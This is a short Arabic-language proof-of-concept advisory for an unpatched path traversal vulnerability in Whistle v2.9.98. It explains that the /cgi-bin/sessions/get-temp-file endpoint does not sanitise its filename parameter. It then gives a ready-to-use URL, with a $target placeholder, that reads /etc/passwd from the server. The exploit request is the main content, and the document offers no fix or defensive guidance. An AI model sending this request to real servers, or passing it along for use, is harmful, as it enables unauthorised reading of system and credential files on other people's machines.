
PoC لثغرة اجتياز المسار (Path Traversal) في Whistle v2.9.98 عبر نقطة النهاية /cgi-bin/sessions/get-temp-file. (غير مُصحَّحة)
يحتوي Whistle 2.9.98 على ثغرة اجتياز مسار غير مصححة لأن نقطة النهاية /cgi-bin/sessions/get-temp-file تفشل في تعقيم مدخلات المستخدم في معامل filename بشكل كافٍ. من خلال توفير مسارات مطلقة أو تسلسلات اجتياز مثل /etc/passwd، يمكن للمهاجم تجاوز قيود الدليل وقراءة ملفات النظام الحساسة مباشرة من الخادم الأساسي.
POC لقراءة ملف /etc/passwd
http://$target/cgi-bin/sessions/get-temp-file?filename=/etc/passwd
